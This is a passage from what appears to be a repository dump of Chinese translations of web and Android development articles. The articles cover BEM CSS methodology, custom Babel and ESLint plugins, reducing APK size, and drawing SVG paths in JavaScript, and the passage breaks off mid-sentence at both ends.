在处理选择器字符串的时候似乎是不通的。有时类名中的点被添加到了字符串，所以我们要确保在近一步处理之前，要除去这些东西来作为预防措施。\n\n我们用来检查一个选择器是否有一个修饰符的函数是 **__bem-selector-has-modifier_**。如果存在修饰符或者有伪类 _(:hover, :first-child etc.)_ 存在，它将返回 _true_。\n\n最后一个函数用来从一个包含修饰符或者伪类的字符串中提取块的名字。如果**_对应的块名_**全部通过的话，**__bem-get-block-name_** 将返回 **_对应的块名_**。当我们使用内部修饰的元素的时候，我们需要使用块名，否则我们将很难生成一个类名。\n\n**_bem-block_** mixin 生成一个带有类名和相关属性的基本块名。\n\n**_bem-modifier_** mixin 生成一个 **_.块名 — 修饰符_** 类名。\n\n**_bem-element_** mixin 做了更多事。它检查是否父级选择器是否是一个修饰符 _(或者是一个伪类选择器)_。如果是的话，它将生成一个嵌套的结构包括 **_块名 — 修饰符_** 的块名，并且在内部包括 **_块名 - 元素名_**。如果不是的话，我们将直接创建一个 **_块名__元素名_**。\n\n_对于元素和修饰符，我们目前使用_ **@each <script type=\"math/tex\" id=\"MathJax-Element-2\">element in</script> elements** _但是我们在下一个版本中优化了它，从而允许共享相同的属性来取代在每个元素中复制属性。_\n\n### BEM 给我们带来了什么享受\n\n#### 模块化\n\n在一个组件中添加了太多的逻辑是非常难重构的。通过使用 BEM 而没有了太多的选择，在在大多数时候也是一件好事。\n\n#### 清晰\n\n当我们看 DOM 的时候，会很容易的找到块所在的位置，元素的含义以及修饰符如何使用。类似的，当我们看一个组件样式表的时候，你会很容易的找到需要改变或者增加一些复杂度的地方。\n\n![](https://cdn-images-1.medium.com/max/800/1*rF5RDVUI-gNxZVdmkzZ-uA.png)\n\n一个具有交互组件的块结构：\n\n![](http://ww1.sinaimg.cn/large/005SiNxygw1f3dko8pufuj30m80i0tbh.jpg)\n\n一个带有元素和修饰符的块结构。\n\n#### 团队协作\n\n在同样的样式表上一起工作，很难避免样式的冲突。但是通过使用 BEM，每个人可以在他们自己的块-元素中工作，所以不会影响到其他人。\n\n#### 原则\n\n当写 CSS 的时候，我们喜欢遵循一系列的原则／规则。BEM 默认遵循下面的规则，从而使的书写代码更加容易。\n\n**1\\. 关注度分离**\n\n\nBEM 强制我们划分样式为更小的部分，从而使的包括元素和修饰符的块更易维护。如果逻辑变得太复杂，这时候应该将它划分到为更小的部分。规则 #2。\n\n**2\\. 单一职责原则**\n\n每一个块有单一的职责来封装组件中的内容。\n\n对于初始示例，相应的部分应该负责建立列表和预览元素的网格。我们不共享内部与外部的职责。\n\n遵循这个方法，如果网格发生变化， 我们只需要改变相应部分的内容。其他的部分仍然可以很好的工作。\n\n**3\\. DRY（不要重复自己）**\n\n每次我们偶然发现代码复制了，我们就会将它提取到占位符和 mixins 中。如果我们需要在当前作用于中 _(上下文中重要的组件)_  重复，那就用这个模式——使用下划线定义 mixins 和伪类。\n\n记住不要在在用过就丢弃的代码以及独立偶尔有不同属性的两份重复代码中浪费功夫。\n\n**4\\. 开闭原则**\n\n当使用 BEM 的时候，这个原则是很难打破的。它指出，一切事情都应该对扩展开放，对修改关闭。我们避免直接在其他块的环境中改变块的属性。相反我们创建修饰符来达到这个目的。\n\n* * *\n\nBEM 是一个强大的方法，但是我认为这个秘密你是自己的。如果有时候它不起作用，那就找出怎么才可以起作用，并且可以破坏规则。只要它能带来结构和提高生产力，那么实现它就绝对具有价值。\n\n* * *\n\n我们很乐于听到你使用 BEM 来解决你所面临大挑战。\n\n"
  },
  {
    "path": "TODO/how-writing-custom-babel-and-eslint-plugins-can-increase-your-productivity-and-improve-user.md",
    "content": "\n> * 原文地址：[How writing custom Babel & ESLint plugins can increase productivity & improve user experience](https://medium.com/@kentcdodds/how-writing-custom-babel-and-eslint-plugins-can-increase-your-productivity-and-improve-user-fd6dd8076e26)\n> * 原文作者：[Kent C. Dodds](https://medium.com/@kentcdodds)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-writing-custom-babel-and-eslint-plugins-can-increase-your-productivity-and-improve-user.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-writing-custom-babel-and-eslint-plugins-can-increase-your-productivity-and-improve-user.md)\n> * 译者：[H2O2](https://github.com/H2O-2)\n> * 校对者：[MJingv](https://github.com/MJingv)，[zyziyun](https://github.com/zyziyun)\n\n# 自定义 Babel 和 ESLint 插件是如何提高生产率与用户体验的\n\n---\n\n![](https://cdn-images-1.medium.com/max/2000/1*5eWvduloSZ5sSGd0TGUSWA.jpeg)\n\n一个正在探索**森林**的人（来源：[https://unsplash.com/photos/ZDhLVO5m5iE](https://unsplash.com/photos/ZDhLVO5m5iE)）\n\n# 自定义 Babel 和 ESLint 插件是如何提高生产率与用户体验的\n\n**而且比你想象的容易很多...**\n\n**我的[前端大师课程 「程序变换（code transformation）与抽象语法树（AST）」](https://frontendmasters.com/courses/linting-asts/)已经发布了🎉 🎊（进入网址查看课程的简介）！我觉得你们应该都有兴趣了解为什么要花上 3 小时 42 分钟来学习编写 Babel 和 ESLint 插件**\n\n构建应用程序是件困难的事，并且难度会随着团队和代码库的扩张而增大。幸运的是，我们有诸如 [ESLint](http://eslint.org/) 和 [Babel](https://babeljs.io/) 这样的工具来帮助我们处理这些逐渐成长的代码库，防止 bug 的产生并迁移代码，从而让我们可以把注意力集中在应用程序的特定领域上。\n\nESLint 和 Babel 都有活跃的插件社区 (如今在 npm 上 [「ESLint plugin」](https://www.npmjs.com/search?q=eslint%20plugin&amp;page=1&amp;ranking=optimal) 可以搜索出 857 个包，[「Babel Plugin」](https://www.npmjs.com/search?q=babel%20plugin) 则可以搜索出 1781 个包)。正确应用这些插件可以提升你的开发体验并提高代码库的代码质量。\n\n尽管 Babel 和 ESLint 都拥有很棒的社区，你往往会遇到其他人都没遇到过的问题，因此你需要的特定用途的插件也可能不存在。另外，在大型项目的代码重构过程时，一个自定义的 babel 插件比查找/替换正则要有效得多。\n\n> **你可以编写自定义 ESLint 和 Babel 插件来满足特定需求**\n\n### 应在什么时候写自定义的 ESLint 插件\n\n![](https://cdn-images-1.medium.com/max/1200/1*w18mlu-5XnwPK9rQn0JYeQ.png)\n\nESLint logo\n\n你应该确保修复过的 bug 不再出现。与其通过 [测试驱动开发（test driven development）](https://egghead.io/lessons/javascript-use-test-driven-development)达到这个目的，先问问自己：「这个 bug 是不是可以通过使用一个类型检查系统（如 [Flow](https://flow.org/)）来避免？」 如果答案是否定的，再问自己「这个 bug 是不是可以通过使用 [自定义 ESLint 插件](http://eslint.org/docs/developer-guide/working-with-rules)来避免？」 这两个工具的好处是可以**静态**分析你的代码。\n\n> 通过 ESLint 你 **不需要运行任何一部分代码**即可断定是否有问题。\n\n除了上面所说的之外，一旦你添加了一个 ESLint 插件，问题不仅在代码库的特定位置得到了解决，**该问题在任何一个位置都不会出现了**。这是件大好事！（而且这是测试无法做到的）。\n\n下面是我在 PayPal 的团队使用的一些自定义规则，以防止我们发布曾经出现过的 bug。\n\n- 确保我们一直使用本地化库而不是把内容写在行内。\n- 强制使用正确的 React 受控组件（controlled component）行为并确保每个 `value` 都有一个 `onChange` handler。\n- 确保 `<button>` 标签总是有 `type` 属性。\n- 确保 `<Link>` 组件和 `<a>` 标签总是有合理的 `data` 属性以解析数据。\n- 确保只在某个应用或共享文件夹内部导入文件（我们在一个仓库（repo）里有多个应用）。\n\n我们还有更多的规则，但总的来说规则并不多。很赞的一点是，因为我们花了时间去[学习并编写自定义 ESLint 插件](http://kcd.im/fm-asts), 这些 bug 都没有再次出现。\n\n注意：如果某个 bug 无法通过 Flow 或 ESLint 避免，那可能是业务逻辑出了什么问题，你可以回到通过测试的方式来避免此类情况发生（[学习如何测试 JavaScript 项目](http://kcd.im/fm-testing)）。\n\n### 应在什么时候写自定义的 Babel 插件\n\n![](https://cdn-images-1.medium.com/max/1200/1*ZuncrF7DO9VeF1LusgFmPw.png)\n\nBabel logo\n\n如果你在思索：「那个 API 实在太无趣了」或是「我们不能那么做，运行效率太低。」那你就应该考虑写一个自定义的 babel 插件了。\n\n[Babel 插件](https://babeljs.io/docs/plugins/) 允许你调整代码。这一操作既可以在编译时完成（以此来进行一些编译时的优化），也可以是一个一次性的操作（称为「codemod」，你可以把它想象成一种比正则表达式强得多的查找替换功能）。\n\n我很喜欢 Babel 的一个原因：\n\n> Babel 使我们可以同时提升用户和开发者的体验。\n\n下面的例子说明了 babel 插件是如何做到的这一点的。\n\n1. 在登陆界面就加载整个应用十分浪费资源，因此社区采取了「[code-splitting](https://webpack.js.org/guides/code-splitting/)」来避免这种情况。[react-loadable](https://github.com/thejameskyle/react-loadable)则实现了 React 组件的延迟加载。如果你想实现更复杂的功能（如服务器端支持或优化客户端加载），就需要相对复杂的 API 了，然而，[babel-plugin-import-inspector](https://github.com/thejameskyle/react-loadable/blob/3a9d9cf34abff075f3ec7919732f95dc6d9453a4/README.md#babel-plugin-import-inspector) 已经自动为你处理好这一切了。\n2. [Lodash](https://lodash.com/) 是一个使用很广泛的 JavaScript 实用程序库，但同时它也很大。一个小窍门是，如果你「cherry-pick」需要用到的方法（比如：`import get from 'lodash/get'`），只有你用到的那部分代码会被最终打包。[babel-plugin-lodash](https://github.com/lodash/babel-plugin-lodash) 插件会让你正常使用整个库（`import _ from 'lodash'`）然后自动 cherry-pick 所需的方法。\n3. 我在构建 [glamorous.rocks](https://rc.glamorous.rocks/) 网站（即将上线）时发现，无论用户使用的哪种语言，所有本地化字符串都会被加载！所以我写了[一个自定义的 babel 插件](https://github.com/kentcdodds/glamorous-website/blob/7ab245a4f99af9f217fd9b7d63f59dae1814f08e/other/babel-plugin-l10n-loader.js)基于 `LOCALE` 环境变量加载正确的本地化字符串。这样我们就可以为每种语言创建一个[服务端渲染网站的静态输出](https://github.com/zeit/next.js/blob/dba24dac9db97dfce07fbdb1725f5ed1f9a40811/readme.md#static-html-export)，并开始在服务器端为本地化字符串使用 markdown 了（而我们之前会在 JavaScript 模块里使用 markdown 的字符串，完全是一团乱）。我们可以不再使用令人混乱的「高阶组件（Higher Ordered Component）」来进行本地化，而可以**在服务器上**导入 markdown 文件。最终网站变得更快且对开发者更友好了。\n\n还有很多例子，不过希望这些已经足够让你认识到自定义 Babel 插件所带来的可能性了。\n\n哦对了，你知道那些随着框架和工具主要更新一起推出的 codemods 吗？它们会像施魔法一样 ✨ 把你的代码更新到最新的API（比如 [React 的这个 codemod](https://github.com/reactjs/react-codemod) 或者 [webpack 的这个 codemod](https://github.com/webpack/webpack-cli/blob/master/lib/migrate.js)）。你可以把那些工具写成 babel 插件然后通过 [babel-codemod](https://github.com/square/babel-codemod) 运行（看看[这个 babel-codemod 的演示](https://www.youtube.com/watch?v=Vj9MOXbC43A&amp;index=1&amp;list=PLV5CVI1eNcJipUVm6RDsOQti_MzHImUMD)）。（[通过这篇演讲深入了解 codemods](https://www.youtube.com/watch?v=d0pOgY8__JM)，演讲者 [Chirstoph](https://medium.com/@cpojer)）。\n\n> 我不管你的正则表达式用得有多好，自定义 babel 插件可以让你做得更好。\n\n### 但是到底什么是 AST？我可不是什么火箭专家 🚀 ！\n\n![](https://cdn-images-1.medium.com/max/1200/1*MEh3npM0n7DG5r5Kt0Znmg.png)\n\nastexplorer.net 上一个名为「你也许不需要 jQuery」的 babel 插件演示。打开链接：[http://kcd.im/asteymnnj](http://kcd.im/asteymnnj)\nBabel 和 ESLint 都以一个名为抽象语法树（Abstract Syntax Tree，常缩写为 AST）的结构为基础运行。实际上这就是计算机如何读取代码的。Babel 有一个 [名为「babylon」的 JavaScript 语法分析器](https://github.com/babel/babylon)，可以把代码字符串变成一个 AST（其实就是一个 JavaScript 对象），然后 Babel 把一些片段提供给 babel 插件来让你操作。如果是 Babel 则你可以做一些变形，如果是 ESLint 则你可以检查你不希望出现的规则。\n\n我没有计算机科学的文凭。我一年前才开始学习 AST。\n\n> 和 AST 打交道帮助我更深刻地理解了 JavaScript。\n\n### 尝试一下\n\n**我保证，这远没有你想象的困难😱**。你可以学好的。我会给你一步步地解释。而且这门课还有很多非常好的练习帮助你进步。学习如何编写自定义的 ESlint 和 Babel 插件会对你的软件开发之路有帮助，并且会让你的应用变得更好 👍。\n\n[学习程序变换以及使用抽象语法树进行 lint](http://kcd.im/fm-asts)\n\n### 分享一下吧\n\n自定义插件是一个往往令人们生畏或疑惑的主题。如果这篇博文增进了你的理解，请分享给更多人，让他们了解到学习编写自定义 Babel 和 ESLint 插件是多么重要的技能。你可以通过 Medium 的 💚 分享，[发推分享](https://twitter.com/intent/tweet?text=%22How%20writing%20custom%20Babel%20%26%20ESLint%20plugins%20can%20increase%20productivity%20%26%20improve%20user%20experience%22%20https://medium.com/@kentcdodds/fd6dd8076e26%20by%20@kentcdodds%20%F0%9F%91%8D)，或者转推：\n\n[![](https://ws4.sinaimg.cn/large/006tNc79gy1fi6vcdrs4jj315c0wan2n.jpg)](https://twitter.com/kentcdodds/status/886945519909711872)\n\n![](https://cdn-images-1.medium.com/max/1600/1*sjisq4ValabuxUpLAm0O5w.png)\n再见！[@kentcdodds](https://twitter.com/kentcdodds)\n\n---\n\nP.S. 还有一些其他（免费）的资源可以帮助你学习 AST。\n\n- [babel 插件手册](https://github.com/thejameskyle/babel-handbook/blob/master/translations/en/plugin-handbook.md)\n- [asts-workshop](https://github.com/kentcdodds/asts-workshop)（前端大师课程使用的 repo）\n- [使用 AST 编写自定义 Babel 和 ESLint 插件](https://www.youtube.com/watch?v=VBscbcm2Mok&amp;index=1&amp;list=PLV5CVI1eNcJgNqzNwcs4UKrlJdhfDjshf&amp;t=192s)\n- [Egghead.io 上一些有关 AST 的课程](http://kcd.im/egghead-asts)\n\nP.S.P.S 我觉得我应该提一下我最近写的两个 babel 插件，它们让我感到很兴奋（[I’m](https://twitter.com/threepointone/status/885884698093899777) [not](https://twitter.com/mitchellhamiltn/status/886441807420182528) [alone](https://twitter.com/rauchg/status/886449097770541057) [either](https://twitter.com/souporserious/status/886803870743121920)）我觉得你们应该看看这些插件。这两个插件的最初版本我都只写了半个小时：\n\n- [babel-plugin-preval](https://github.com/kentcdodds/babel-plugin-preval): 在编译时预分析代码\n- [babel-macros](https://github.com/kentcdodds/babel-macros): 使 babel 插件无需配置即可直接导入\n\n在[课程](http://kcd.im/fm-asts)里，我会把所有编写这样的插件需要的知识教给你。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/how-you-can-decrease-application-size-by-60-in-only-5-minutes.md",
    "content": "> * 原文地址：[How you can decrease application size by 60% (In only 5 minutes)?](https://medium.com/@kevalpatel2106/how-you-can-decrease-application-size-by-60-in-only-5-minutes-47eff3e7874e#.n28fz5n36)\n> * 原文作者：本文已获作者 [Keval Patel](https://medium.com/@kevalpatel2106) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[jifaxu](https://github.com/jifaxu)\n> * 校对者：[gaozp](https://github.com/gaozp), [ZiXYu](https://github.com/ZiXYu)\n\n# 我是如何做到在 5 分钟之内将应用大小减少 60% 的\n\n![](https://cdn-images-1.medium.com/max/800/1*ShbFj2IhKm6Cbn9qATiGug.png)\n\n移动设备的资源总是有限的。有限的电量，有限的存储，有限的处理能力，有限的内存，有限的网络带宽……无论你面对的是 Android 还是 iOS，这都是真理。\n\n在前几个月，我在开发一个安卓应用 [**Anti-Theft Screen Lock**](https://play.google.com/store/apps/details?id=com.antitheftlock)。当有人尝试用错误的密码解锁设备时，这个应用会通过前置摄像头拍照并播放警示音。如果你想了解更多，这里有 Play 商店的页面：\n\n[**Anti-Theft Screen Lock - Android Apps on Google Play**](https://play.google.com/store/apps/details?id=com.antitheftlock)\n\n在这儿我会教你一些我用来减小应用体积的技巧。这些技巧都简单且易用，会在现在或将来为你提供一些帮助。\n\n---\n\n### 越小越好\n\n作为一个开发者我们总是更关心应用的性能，设计和用户体验。但是，大多数开发者都忘了（或低估）一件事：**应用体积**。如果你希望你的应用能吸引大量用户，这是非常核心的一点。\n\n市场上大概有 11000 种安卓机型，而其中大部分都是低端机，有限的存储（1GB 到 8GB），甚至用的还是 2G 或者 3G 网络。这些设备在印度，巴其尔等非洲发展中国家占有大量市场，你可以在这些地方获得大量的用户。\n\n让你的应用大小保持最佳变得尤其重要。**你的应用体积越小，你的用户就有更多的空间来存储他们的视频和图片**。说实话，你肯定不希望用户因为“存储空间不足”的提示删除你的应用。\n\n![](https://cdn-images-1.medium.com/max/800/1*cjMsR_IEniBq3SXQ3YtJ6g.jpeg)\n\n如果用户的存储空间不够的话，他们会卸载你的应用。\n这些发展中国家用户使用的依然是速度有限的 2G/3G 网。所以，如果你的应用体积太大，将会需要更多的时间来下载（更可能的情况时用户根本不会去下载）。同样的，大多数用户流量有限，用户下载的每个字节都是在花钱。\n\n所以，很明显了，应用程序界的真理就是：\n\n> 越小越好\n\n---\n\n### 使用 APK Analyser 分解你的 APK\n\nAndroid Studio 提供了一个有用的工具：[**APK Analyser**](https://developer.android.com/studio/build/apk-analyzer.html)。APK Analyser 将会拆解你的应用并让你知道 .apk 文件中的那个部分占据了大量空间。让我们看一下 Anti-Theft 在没有经过优化之前的截图。\n\n![](https://cdn-images-1.medium.com/max/1000/1*qwluezWR7KE9-raJVkAc9A.png)\n\n从 Apk Analyser 的输出来看，应用的原大小是 3.1MB。经过 Play 商店的压缩，大致是 2.5MB。\n\n从截图中可以看出主要有 3 个文件夹占据了应用的大多数空间。\n\n- **classes.dex** —— 这是 dex 文件，包含了所有会运行在你的 DVM 或 ART 里的字节码文件。\n- **res** —— 这个文件夹包含了所有在 res 文件夹下的文件。大部分情况下它包含所有图片，图标和源文件，菜单文件和布局。  \n\n![](https://cdn-images-1.medium.com/max/1000/1*8ITi0D6JrpibvAC9iTG2rA.png)\n\n- **resources.arsc** —— 这个文件包含了所有 value 资源。这个文件包含了你 value 目录下的所有数据。包括 strings、dimensions、styles、intergers、ids 等等。\n\n![](https://cdn-images-1.medium.com/max/1000/1*B1MMigEQSVfKIJRmujeIag.png)\n\n---\n\n所以，现在你知道 APK 是怎么组成的了。让我们接着看看该怎么一块块的优化它以减小应用体积。\n\n### **减小 classes.dex**\n\nclasses.dex 包含了所有 Java 代码。当你编译你的应用时，gradle 会将你的所有模块里的 .class 文件转换成 .dex 文件并将这些文件合成一个 classes.dex 文件。\n\n> 如果你很好奇，编译的过程是怎样的，看我的另一篇博客：[The Jack and Jill: Should you use in your next Android Application?](https://blog.mindorks.com/the-jack-and-jill-should-you-use-in-your-next-android-application-ce7d0b0309b7#.gq31gtrdj)\n\n单个的 classes.dex 文件可以容纳大约 64K 方法。如果你达到了这个限制，你必须要在你的工程中启用 [multidexing](https://developer.android.com/studio/build/multidex.html)。这将会创建另一个 classes1.dex 文件去存储剩下的方法。所以 classes.dex 文件数目由你的方法数而定。\n\n![](https://cdn-images-1.medium.com/max/1000/1*koKowwJQ0aavZ6-Sh1I6AQ.png)\n\n你可以看到现在的 “Anti-Theft Screen Lock” 包含 4392 个类和 29897 个方法。这个结果是没有经过混淆的。你有两个默认的混淆文件。\n\n- **proguard-android-optimize.txt**\n- **proguard-android.txt**\n\n就像文件名写的那样，“*proguard-android-optimize.txt*”是更积极的混淆选项。我们将这个作为默认的混淆配置。你可以在 */app* 目录下的 *proguard-rules.pro* 里添加自定义的混淆配置。\n\n```\n release {\n    //Enable the proguard\n    minifyEnabled true\n    proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), \"proguard-rules.pro\"\n\n    //Other parameters\n    debuggable false\n    jniDebuggable false\n    renderscriptDebuggable false\n    signingConfig playStoreConfig //Add your own signing config\n    pseudoLocalesEnabled false\n    zipAlignEnabled true\n}\n```\n\n通过设置 *minifyEnabled* 为 true，混淆将会移除所有未使用的方法、指令以减小 classes.dex 文件。\n\n这是启用了 minify 之后的 APK。\n\n![](https://cdn-images-1.medium.com/max/1000/1*FPR6BZkWLBYhHs6YO9lLvA.png)\n\n你可以看到在为每个模块启用了混淆之后我们的 classes.dex 大小减小了几乎 50%。同时你可以看到方法数从 29897 降到了 15168（几乎 50%）。恭喜……🎊🎉\n\n> 体积从 3.1MB 降到了 1.98MB。**(缩小约 50%)**\n\n---\n\n### 减小 res：\n\n下一大块就是 res 文件夹，它包括了所有的图片，raw 文件和 XML。你不能添加/删除/修改你的 XML，因为它们包含了你的布局。但是我们可以减小图片文件。\n\n- “***shrinkResources***” 属性将会移除所有在工程中没有用到的资源。在 build.gradle 中像下面这样启用它：\n\n```\nrelease{\n  //...\n  //...\n  shrinkResources true\n  //...\n}\n```\n\n- “***resConfigs***” 属性将会在构建过程中移除所有本地化资源。app “Anti-Theft Screen Lock” 只需要支持英语。而很多的支持库都可能有其它语言的本地化文件夹。这些是我不需要的。所以，添加下面的这些代码让应用只支持英语。\n\n```\ndefaultConfig {\n    //...\n    //...\n    //...\n\n    //strip other than english resources\n    resConfigs \"en\"\n}\n```\n\n- 如果你在用 Android Studio 2.3，并且你的应用的最低支持版本大于 18，你可以使用 [**webp**](https://en.wikipedia.org/wiki/WebP) 替代 png。webp 图片比 png 体积更小但质量一样。而且 Android 支持 webp。所以你可以在 ImageView 中像加载其它光栅图片一样加载 webp 图片。这不需要改变你的布局。\n\n你可以在工程选择 drawable 和 mipmap 文件夹，右击并选择 **convert to webp**。这将会打开下面这样的配置弹框。\n\n![](https://cdn-images-1.medium.com/max/800/1*Y51gzPlk1Pcd_0s8lqcc9Q.png)\n\n点击 ok，将会将所有 png 图片转成 webp。如果 webp 图片比 png 更大，Android Studio 将会自动跳过这个文件。\n\n让我们看下最终效果：\n\n![](https://cdn-images-1.medium.com/max/1000/1*UiwJkvIhWjrNNj2DU7Z3kA.png)\n\n喔！！！res 文件夹从 710KB 降到了 597KB。\n\n> 体积减小了 105KB。（降低了 16%）\n\n> 你也可以将图片转为矢量图。但是这样你需要对它的向后兼容性进行一些处理。如果你想了解更多 vector 的相关知识，看看 [Chris Banes 的这篇博客](https://medium.com/@chrisbanes/appcompat-v23-2-age-of-the-vectors-91cbafa87c88#.ust6pssbk)。\n\n---\n\n### TL;DR:\n\n- 通过在你的 release build type 中加上下面这些代码启用混淆。\n- 启用 shrinkResources。\n- 通过在 “resConfigs” 里添加需要的资源名移除所有不需要的本地化资源。\n- 将所有图片转为 webp 或者矢量图。\n\n---\n\n### 总结：\n\n通过使用上面这些简单的技巧我将应用体积从 3.19MB 降至了 1.89MB。\n\n\n这些只是最简单的方式，还有很多减小应用体积的方法。但是，你应该始终使用上面这些简单的方法来保证已经尽可能的减小了应用体积。\n\n你可以在[这儿](https://developer.android.com/topic/performance/reduce-apk-size.html)学习更多的技巧。\n\n> 记住：越小越好。😉\n"
  },
  {
    "path": "TODO/how_to_draw.md",
    "content": "> * 原文地址：[How to draw in JavaScript](https://aleen42.gitbooks.io/personalwiki/content/post/how_to_draw/how_to_draw.html)\n* 原文作者：[aleen42](https://github.com/aleen42)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Jiang Haichao](http://github.com/AceLeeWinnie)\n* 校对者：[L9m](https://github.com/L9m) [Mark](https://github.com/marcmoore)\n\n# 如何用 JavaScript 作画\n\n<p align=\"center\"><img width=\"70%\" src=\"https://github.com/aleen42/PersonalWiki/blob/master/post/how_to_draw/preview.png\" alt=\"用 javascript 作画\" /></p>\n<p align=\"center\"><strong>图 1.1</strong>简单预览</p>\n\n因为我司给我一个在浏览器中以编程方式来实现绘图的需求，如下图 1.1 所示，我想分享一些用 JavaScript 绘画的要点。实际上，我们画啥呢？**答案是任一种图像和图形**。\n\n这里有个样例，你可以直接点击 http://draw.soundtooth.cn/ 查看。并拖拽任意图片，放置到红色方框内，点击 \"Process\" 按钮，启动绘图方法：\n\n<p align=\"center\">\n<iframe width=\"100%\" height=\"600px\" src=\"https://aleen42.github.io/example/draw/\"></iframe>\n</p>\n\n注意：这个项目的版权是我司的，所以并不会向社区 **开源** 代码。\n\n项目开始时，我深受 [这篇文章](https://aleen42.gitbooks.io/personalwiki/content/Programming/JavaScript/webgl/canvas/line_drawing/line_drawing.html) 中光线动画绘制的启发。如果仔细阅读，你会发现，在绘制任何图形之前都需要路径数据，有了这些数据，我们才能够模拟绘画。这些数据的形式应该像下面这样：\n\n```nginx\nM 161.70443,272.07413\nC 148.01517,240.84549 134.3259,209.61686 120.63664,178.38822\nC 132.07442,172.84968 139.59482,171.3636 151.84309,171.76866\n```\n\n你可能会问，这样的 `path` 数据只在 SVG 元素中有效，怎么能绘制其他像 JPG、PNG、或者 GIF 这样的图片呢。这是我们在本文后面将探讨的问题。在那之前，我们先简单绘制一幅 SVG 图像。\n\n### 绘制 SVG 文件\n\n什么是 SVG？可伸缩矢量图形，又称为 SVG，是针对二维图形基于 XML 的矢量图片格式，支持动画交互。不支持老旧的 IE 浏览器。如果你是设计师，或者是经常使用 Adobe Illustration 做绘图工具的插画家，也许已经对图形已经有了一定的认知。但与一般图形主要的不同在于，SVG 是可伸缩的无损的，而其他格式的图片不是。\n\n注意：一般来说，SVG 格式的图片被称作 **图形**，而其他格式的被称为 **图像**。\n\n#### 从 SVG 文件中提取数据\n\n正如上文所说，在绘制 SVG 之前，你需要从 SVG 文件中读取数据。这通常是 JavaScript 中 `FileReader` 这个对象的工作，它的初始化代码片段像下面这样：\n\n```js\nif (FileReader) {\n    /** 如果浏览器支持 FileReader 对象 */\n    var fileReader = new FileReader();\n}\n```\n\n作为一个 Web API，`FileReader` 能够读取本地文件，`readAsText` 是其中支持读取文本格式内容的方法之一。它可以触发事先定义的 `onload` 方法，我们能够在事件处理方法内部读取内容。读取内容的代码应该如下所示：\n\n```js\nfileReader.onload = function (e) {\n    /** SVG 文件内容 */\n    var contents = e.target.result;\n};\n\nfileReader.readAsText(file);\n```\n\n有了阅读监听器，你也许会考虑是否还要用一个按钮来上传文件。现在看来，那是普通没有任何吸引力的交互方式。于此，我们可以通过拖放来优化这类交互。这意味着你能够拖拽任何图形并且放置到读取内容的方框里。因为我的项目的优先技术选型是 Canvas，我将通过设置事件监听器和注册一个 canvas 的 `drop` 事件来实现这种交互。 \n\n```js\n/** Drop 事件处理 */\ncanvas.addEventListener('drop', function (e) {\n    /** 从 e 中提取 `file` 对象 */\n    var file = e.dataTransfer.files[0];\n\n    /** 开始读取文件内容 */\n    fileReader.readAsText(file);\n});\n```\n\n#### 数据加工\n\n现在数据已经存储在 `contents` 变量里，并且已经能够处理它，数据对我们来说只是文本而已。开始时，我尝试使用常规方法提取路径节点。\n\n```js\nvar paths = contents.match(/<path([\\s\\S]+?)\\/>/g);\n```\n\n但是这个方法有两个缺点：\n\n- 会丢失整个 SVG 文件结构。\n- 不能创建一个合法的 `SVGPathElement` DOM 元素。\n\n为了更直白地说明，请看如下代码：\n\n```js\nif (paths) {\n    var pathNodes = [];\n    var pathLen = paths.length;\n\n    for (var i = 0; i < pathLen; i++) {\n        /** 创建一个合法的 SVGPathElement DOM 节点 */\n        var pathNode = document.createElementNS('http://www.w3.org/2000/svg', 'path');\n\n        /** 使用临时 div 元素，方便读取属性 `d` */\n        var tmpDiv = document.createElement('div');\n        tmpDiv.innerHTML = paths[i];\n\n        /** 设置合法的 `d` 属性 */\n        pathNode.setAttribute('d', tmpDiv.childNodes[0]\n            .getAttribute('d')\n            .trim()\n            .split('\\n').join('')\n            .split('    ').join('')\n        );\n\n        /** 存储在一个数组里 */\n        pathNodes.push(pathNode);\n    }\n}\n```\n\n正如你看到的， `tmpDiv.childNodes[0]` 不是一个 `SVGPathElement`，所以我们需要创建另一个节点。如果我用另一个方法读取整个 SVG 文件，`SVGPath` 变量能够以清晰的结构存储整个 SVG 对象，并且可以随意访问：\n\n```js\nvar tempDiv = document.createElement('div');\ntempDiv.innerHTML = contents.trim()\n    .split('\\n').join('')\n    .split('\t').join('');\n\nvar SVGNode = tempDiv.childNodes[0];\n```\n\n用递归的方式可以很容易地提取所有 `SVGPathElement` 并且直接送入 `pathNodes` 栈。\n\n```js\nvar pathNodes = [];\n\nfunction recursivelyExtract(parentNode) {\n    var children = parentNode.childNodes;\n    var childLen = children.length;\n\n    /** 如果节点没有孩子节点，则直接返回 */\n    if (childLen === 0) {\n        return;\n    }\n\n    /** 循环子节点，如果子节点是 SVGPathElement，则提取出来 */\n    for (var i = 0; i < childLen; i++) {\n        if (children[i].nodeName === 'path') {\n            pathNodes.push(children[i]);\n        }\n    }\n};\n\nrecursivelyExtract(SVGNode);\n```\n\n使用那种方法看起来优雅多了，至少我是这么认为的，尤其是和其他元素一起绘制的时候，我只用 `switch` 结构就能提取不同元素，而不是使用一些常规表达。一般来说，在一个 SVG 文件里，图形元素除了可以被定义成 `path`，还可被定义成 `circle`，`rect`，`polyline`。所以，我们应该怎么处理他们？答案是用 JavaScript 就能全部转换成 `path` 元素，这个稍后再说。\n\n我在开发项目的时候有一个问题是到底需要重点关注什么。在一个复合路径中，`m` 和 `M` 完全不一样，必须要有至少一个 `m` 或者一个 